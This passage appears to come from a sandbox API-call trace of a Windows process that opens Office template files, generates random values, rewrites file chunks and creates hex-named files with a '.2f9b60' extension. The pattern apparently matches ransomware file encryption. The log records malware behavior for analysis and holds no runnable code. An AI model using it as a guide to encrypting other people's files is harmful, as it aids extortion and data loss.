DestinationString="17d54cfc9b5ae4413166774439f2e097c9a5423bb1d4566f9b6081ed514ece9ee8be38372133d0b69c2db15941f6f6f8126d") [0215.855] RtlAnsiStringToUnicodeString (in: DestinationString=0x37cffb78, SourceString="17d54cfc9b5ae4413166774439f2e097c9a5423bb1d4566f9b6081ed514ece9ee8be38372133d0b69c2db15941f6f6f8126d", AllocateDestinationString=1 | out: DestinationString="17d54cfc9b5ae4413166774439f2e097c9a5423bb1d4566f9b6081ed514ece9ee8be38372133d0b69c2db15941f6f6f8126d") returned 0x0 [0215.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1cecfb00 [0215.855] wcscat (in: _Dest=0x1ce17210, _Source="17d54cfc9b5ae441316677443" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\17d54cfc9b5ae441316677443") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\17d54cfc9b5ae441316677443" [0215.855] wcscat (in: _Dest=0x1ce17210, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\17d54cfc9b5ae441316677443.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\17d54cfc9b5ae441316677443.2f9b60" [0215.855] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\17d54cfc9b5ae441316677443.2f9b60", NtPathName=0x37cffb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\17d54cfc9b5ae441316677443.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4310b350 Thread: id = 2107 os_tid = 0xa94 [0138.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx")) returned 0x20 [0138.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx", dwFileAttributes=0x20) returned 1 [0138.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dc0 [0138.774] GetFileSizeEx (in: hFile=0x1dc0, lpFileSize=0x3704fbc0 | out: lpFileSize=0x3704fbc0*=770453) returned 1 [0138.774] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0xbc191, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.774] ReadFile (in: hFile=0x1dc0, lpBuffer=0x3704fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3704fb88, lpOverlapped=0x0 | out: lpBuffer=0x3704fb40*, lpNumberOfBytesRead=0x3704fb88*=0x4, lpOverlapped=0x0) returned 1 [0138.795] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a860 [0138.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a8f0 [0138.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a920 [0138.795] NtQuerySystemTime (in: CurrentTime=0x3704fa80 | out: CurrentTime=0x3704fa80*=132462177440422000) returned 0x0 [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x2903bfa8 [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x560d9c49 [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x11de9988 [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x1b9da016 [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x4b7eb3ab [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x23b11977 [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x65956bb8 [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x11f7536b [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x32bf9dde [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x6e86e620 [0138.795] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x3f07d2cf [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x2c243ef2 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x72a64228 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x6156b7bf [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x6afbf2a2 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x25864a9 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x5b31d437 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x40011603 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x21929b04 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x5ddfaeb3 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x1dba5449 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x4ed5c5fd [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x664974fc [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x11349cd1 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x168c7c98 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x4c01ae37 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x4c7cfa67 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x9f93e5c [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0xebf58d5 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0xd70c63 [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x3c4465ff [0138.796] RtlRandomEx (in: Seed=0x3704fa70 | out: Seed=0x3704fa70) returned 0x836faca [0138.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a950 [0138.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a980 [0138.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a920) returned 1 [0138.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a860) returned 1 [0138.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ab5f0 [0138.810] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.810] ReadFile (in: hFile=0x1dc0, lpBuffer=0x420ab5f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3704fae0, lpOverlapped=0x0 | out: lpBuffer=0x420ab5f0*, lpNumberOfBytesRead=0x3704fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0138.862] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a860 [0138.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a860) returned 1 [0138.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ca920 [0138.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a860 [0138.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aad0 [0138.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aad0) returned 1 [0138.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.864] WriteFile (in: hFile=0x1dc0, lpBuffer=0x420ca920*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3704fae0, lpOverlapped=0x0 | out: lpBuffer=0x420ca920*, lpNumberOfBytesWritten=0x3704fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0160.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ca920) returned 1 [0160.941] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.941] ReadFile (in: hFile=0x1dc0, lpBuffer=0x420ab5f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3704fae0, lpOverlapped=0x0 | out: lpBuffer=0x420ab5f0*, lpNumberOfBytesRead=0x3704fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0165.696] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0165.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0165.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0165.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425c1150 [0165.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0165.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0165.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c030) returned 1 [0165.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.698] WriteFile (in: hFile=0x1dc0, lpBuffer=0x425c1150*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3704fae0, lpOverlapped=0x0 | out: lpBuffer=0x425c1150*, lpNumberOfBytesWritten=0x3704fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0192.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425c1150) returned 1 [0192.654] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0xb8595, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.654] ReadFile (in: hFile=0x1dc0, lpBuffer=0x420ab5f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3704fae0, lpOverlapped=0x0 | out: lpBuffer=0x420ab5f0*, lpNumberOfBytesRead=0x3704fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0192.670] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0xb8595, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0192.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0192.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1dfa0 [0192.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1dfa0) returned 1 [0192.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429d7240 [0192.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1dfa0 [0192.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b40 [0192.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b40) returned 1 [0192.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0192.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0192.676] WriteFile (in: hFile=0x1dc0, lpBuffer=0x429d7240*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3704fae0, lpOverlapped=0x0 | out: lpBuffer=0x429d7240*, lpNumberOfBytesWritten=0x3704fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429d7240) returned 1 [0205.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f8a0 [0205.353] SetFilePointerEx (in: hFile=0x1dc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.353] WriteFile (in: hFile=0x1dc0, lpBuffer=0x1ceb88e0*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x3704fb90, lpOverlapped=0x0 | out: lpBuffer=0x1ceb88e0*, lpNumberOfBytesWritten=0x3704fb90*=0x15a, lpOverlapped=0x0) returned 1 [0208.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd90 [0208.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b220 [0208.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b220) returned 1 [0208.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205b220 [0208.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b1f0 [0208.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b130 [0208.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b130) returned 1 [0208.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd90) returned 1 [0208.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858850 [0208.667] sprintf (in: _Dest=0x1b858850, _Format="%c%c" | out: _Dest="de") returned 2 [0208.667] sprintf (in: _Dest=0x1b858852, _Format="%c%c" | out: _Dest="31") returned 2 [0208.667] sprintf (in: _Dest=0x1b858854, _Format="%c%c" | out: _Dest="93") returned 2 [0208.667] sprintf (in: _Dest=0x1b858856, _Format="%c%c" | out: _Dest="b5") returned 2 [0208.667] sprintf (in: _Dest=0x1b858858, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.667] sprintf (in: _Dest=0x1b85885a, _Format="%c%c" | out: _Dest="3a") returned 2 [0208.667] sprintf (in: _Dest=0x1b85885c, _Format="%c%c" | out: _Dest="e4") returned 2 [0208.668] sprintf (in: _Dest=0x1b85885e, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.668] sprintf (in: _Dest=0x1b858860, _Format="%c%c" | out: _Dest="da") returned 2 [0208.668] sprintf (in: _Dest=0x1b858862, _Format="%c%c" | out: _Dest="5e") returned 2 [0208.668] sprintf (in: _Dest=0x1b858864, _Format="%c%c" | out: _Dest="74") returned 2 [0208.668] sprintf (in: _Dest=0x1b858866, _Format="%c%c" | out: _Dest="f2") returned 2 [0208.668] sprintf (in: _Dest=0x1b858868, _Format="%c%c" | out: _Dest="07") returned 2 [0208.668] sprintf (in: _Dest=0x1b85886a, _Format="%c%c" | out: _Dest="33") returned 2 [0208.668] sprintf (in: _Dest=0x1b85886c, _Format="%c%c" | out: _Dest="85") returned 2 [0208.668] sprintf (in: _Dest=0x1b85886e, _Format="%c%c" | out: _Dest="e1") returned 2 [0208.668] sprintf (in: _Dest=0x1b858870, _Format="%c%c" | out: _Dest="79") returned 2 [0208.668] sprintf (in: _Dest=0x1b858872, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.668] sprintf (in: _Dest=0x1b858874, _Format="%c%c" | out: _Dest="3a") returned 2 [0208.668] sprintf (in: _Dest=0x1b858876, _Format="%c%c" | out: _Dest="ce") returned 2 [0208.668] sprintf (in: _Dest=0x1b858878, _Format="%c%c" | out: _Dest="72") returned 2 [0208.668] sprintf (in: _Dest=0x1b85887a, _Format="%c%c" | out: _Dest="50") returned 2 [0208.668] sprintf (in: _Dest=0x1b85887c, _Format="%c%c" | out: _Dest="1d") returned 2 [0208.668] sprintf (in: _Dest=0x1b85887e, _Format="%c%c" | out: _Dest="03") returned 2 [0208.668] sprintf (in: _Dest=0x1b858880, _Format="%c%c" | out: _Dest="81") returned 2 [0208.668] sprintf (in: _Dest=0x1b858882, _Format="%c%c" | out: _Dest="63") returned 2 [0208.668] sprintf (in: _Dest=0x1b858884, _Format="%c%c" | out: _Dest="61") returned 2 [0208.668] sprintf (in: _Dest=0x1b858886, _Format="%c%c" | out: _Dest="35") returned 2 [0208.668] sprintf (in: _Dest=0x1b858888, _Format="%c%c" | out: _Dest="3e") returned 2 [0208.669] sprintf (in: _Dest=0x1b85888a, _Format="%c%c" | out: _Dest="69") returned 2 [0208.669] sprintf (in: _Dest=0x1b85888c, _Format="%c%c" | out: _Dest="74") returned 2 [0208.669] sprintf (in: _Dest=0x1b85888e, _Format="%c%c" | out: _Dest="39") returned 2 [0208.669] sprintf (in: _Dest=0x1b858890, _Format="%c%c" | out: _Dest="47") returned 2 [0208.669] sprintf (in: _Dest=0x1b858892, _Format="%c%c" | out: _Dest="fa") returned 2 [0208.669] sprintf (in: _Dest=0x1b858894, _Format="%c%c" | out: _Dest="a2") returned 2 [0208.669] sprintf (in: _Dest=0x1b858896, _Format="%c%c" | out: _Dest="da") returned 2 [0208.669] sprintf (in: _Dest=0x1b858898, _Format="%c%c" | out: _Dest="89") returned 2 [0208.669] sprintf (in: _Dest=0x1b85889a, _Format="%c%c" | out: _Dest="54") returned 2 [0208.669] sprintf (in: _Dest=0x1b85889c, _Format="%c%c" | out: _Dest="d1") returned 2 [0208.669] sprintf (in: _Dest=0x1b85889e, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.669] RtlInitAnsiString (in: DestinationString=0x3704fc08, SourceString="de3193b55d3ae4c1da5e74f2073385e179d43ace72501d03816361353e69743947faa2da8954d1c4" | out: DestinationString="de3193b55d3ae4c1da5e74f2073385e179d43ace72501d03816361353e69743947faa2da8954d1c4") [0208.669] RtlAnsiStringToUnicodeString (in: DestinationString=0x3704fbd8, SourceString="de3193b55d3ae4c1da5e74f2073385e179d43ace72501d03816361353e69743947faa2da8954d1c4", AllocateDestinationString=1 | out: DestinationString="de3193b55d3ae4c1da5e74f2073385e179d43ace72501d03816361353e69743947faa2da8954d1c4") returned 0x0 [0208.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431a7220 [0208.670] wcscat (in: _Dest=0x431a7bc0, _Source="de3193b55d3ae4c1da5e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\de3193b55d3ae4c1da5e") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\de3193b55d3ae4c1da5e" [0208.670] wcscat (in: _Dest=0x431a7bc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\de3193b55d3ae4c1da5e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\de3193b55d3ae4c1da5e.2f9b60" [0208.670] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\de3193b55d3ae4c1da5e.2f9b60", NtPathName=0x3704fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\de3193b55d3ae4c1da5e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x106b80 Thread: id = 2108 os_tid = 0x640 [0138.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx")) returned 0x20 [0138.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx", dwFileAttributes=0x20) returned 1 [0138.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d88 [0138.782] GetFileSizeEx (in: hFile=0x1d88, lpFileSize=0x3750fe40 | out: lpFileSize=0x3750fe40*=290836) returned 1 [0138.782] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x47010, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.782] ReadFile (in: hFile=0x1d88, lpBuffer=0x3750fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3750fe08, lpOverlapped=0x0 | out: lpBuffer=0x3750fdc0*, lpNumberOfBytesRead=0x3750fe08*=0x4, lpOverlapped=0x0) returned 1 [0138.812] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a860 [0138.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a920 [0138.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a9b0 [0138.813] NtQuerySystemTime (in: CurrentTime=0x3750fd00 | out: CurrentTime=0x3750fd00*=132462177440578000) returned 0x0 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x550557d5 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x4348267b [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x6c36fc85 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x489d2f51 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x5b41bb78 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x46911b50 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x665a7ee4 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x22bc7b0d [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x4330d3cd [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x50012a93 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x2e596c0a [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x439d81a9 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0xc5b6927 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x3b56eee1 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x6bb793e3 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x5df630a6 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x7fec7384 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x101719a4 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x46a79cb8 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x55c8ebe1 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x7a48f050 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x44d52001 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x1b2cff08 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x16d61130 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x74e60f9a [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x19cff645 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x44e63623 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x338680d1 [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x4c799d4a [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x7a6e9a8a [0138.813] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x2df965a2 [0138.814] RtlRandomEx (in: Seed=0x3750fcf0 | out: Seed=0x3750fcf0) returned 0x29c5d3e5 [0138.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a9e0 [0138.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa10 [0138.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a9b0) returned 1 [0138.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a860) returned 1 [0138.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420af200 [0138.825] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.825] ReadFile (in: hFile=0x1d88, lpBuffer=0x420af200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3750fd60, lpOverlapped=0x0 | out: lpBuffer=0x420af200*, lpNumberOfBytesRead=0x3750fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0138.864] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 